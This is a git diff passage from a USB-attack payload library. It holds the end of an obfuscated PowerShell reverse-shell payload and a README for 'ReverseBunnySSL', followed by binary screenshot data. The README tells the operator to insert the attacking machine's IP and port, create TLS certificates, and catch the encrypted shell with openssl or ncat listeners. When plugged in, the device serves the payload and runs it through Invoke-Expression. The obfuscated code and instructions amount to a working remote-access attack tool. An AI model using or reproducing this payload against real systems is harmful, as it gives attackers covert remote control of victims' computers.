+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }-=2y6{2y6})+{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 '+' +};{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}~{2y6}@{2y6+}-=2y6{2y6}~{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}#-/{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}2y6{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}2y6{2y6})+{2y6}@{2y6(}/+{2y6uDn;]uDn}~{2y6uDn + uDn}cX9cX9{2y6uDn [uDn}/+{2y6uDn+] }-=2y6{2y6[uDn )}{@ (2y6uDn + ] uDn}-=2y6{2y6uDn + uDn}%*{2y6uDn[uDn ) }{@ (2y6uDn = }/+{2y6; ) ] })+{2y6[uDn)} {@(2y6uDn +] }%*{2y6[uDn ?2y6uDn +]}-=2y6{2y6 [uDn) } {@(2y6uDn +] };{2y6[uDn ) }{@(2y6uDn + ]uDn})({2y6uDn+uDn}%*{2y6uDn[uDn) }{@ (2y6uDn +] uDn}-=2y6{2y6uDn+uDn}%*{2y6uDn [uDn) } {@ (2y6uDn(.uDnuDn=}/+{2y6; uDn]uDn + ] }%*{2y6[uDn ?2y6uDn + ]uDn};{2y6uDn +uDn}cX9cX9{2y6uDn [uDn )}{@ (2y6uDn+]uDn}pdP~#{2y6uDn +uDn}%*{2y6uDn[uDn)}{@(2y6uDn+]}~{2y6[uDn ) }{@ (2y6uDn+ uDn[uDn=}@{2y6; ) }%*{2y6 + }/+{2y6=}/+{2y6( = }pdP~#{2y6 ; ) }%*{2y6+}/+{2y6 = }/+{2y6(=}2y6{2y6 ; ) }%*{2y6 +}/+{2y6= }/+{2y6 ( =}~{2y6 ; ) }%*{2y6+}/+{2y6 = }/+{2y6( =})({2y6;) }%*{2y6+ }/+{2y6=}/+{2y6 (= }#-/{2y6; ) }%*{2y6+ }/+{2y6 =}/+{2y6( = }-=2y6{2y6;)}%*{2y6+}/+{2y6=}/+{2y6 ( = })+{2y6; ) }%*{2y6+}/+{2y6 = }/+{2y6 (= }cX9cX9{2y6 ; }/+{2y6++= }%*{2y6;}/+{2y6 = };{2y6 ; )(2y6+ = }/+{2y6'(" ,'.', 'riGhTToLefT') | FOrEach-obJeCT{$_.ValUE })) ) \ No newline at end of file diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md new file mode 100644 index 00000000..bffb7da3 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -0,0 +1,30 @@ +**Title: ReverseBunnySSL** + +

    Author: 0iphor13
    +OS: Windows
    +Version: 1.2
    +For input and inspiration - Thanks to: Cribbit, sebkinne

    + +**What is ReverseBunnySSL?** +# +

    ReverseBunnySSL gets you remote access to your target in seconds.
    +Unlike ReverseBunny, ReverseBunnySSL offers encrypted traffic via OpenSSL.

    + + +**Instruction:** +

    !!!Insert the IP of your attacking machine & PORT into the payload!
    +1. Create key.pem & cert.pem like so:
    + > openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    + It will ask for information about the certificate - Insert whatever you want.
    + +2. For catching the shell you need to start a listener, which supports encrypted traffic.
    +I recommend openssl itself or ncat - Example syntax for both:
    + > `openssl s_server -quiet -key key.pem -cert cert.pem -port [Port Number]`
    + > `ncat --listen -p [Port Number] --ssl --ssl-cert cert.pem --ssl-key key.pem`

    + +3. Plug in Bunny, it will create a web server, and uses Invoke-Expression to execute the shell. + +**Disclaimer: Because of obfuscation, it may take some time until the shell is fully executed by powershell** + +![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.jpg) \ No newline at end of file diff --git a/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png b/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png new file mode 100644 index 0000000000000000000000000000000000000000..00f19d6752257b7ece06bf838cb1eba9afd98d60 GIT binary patch literal 33161 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 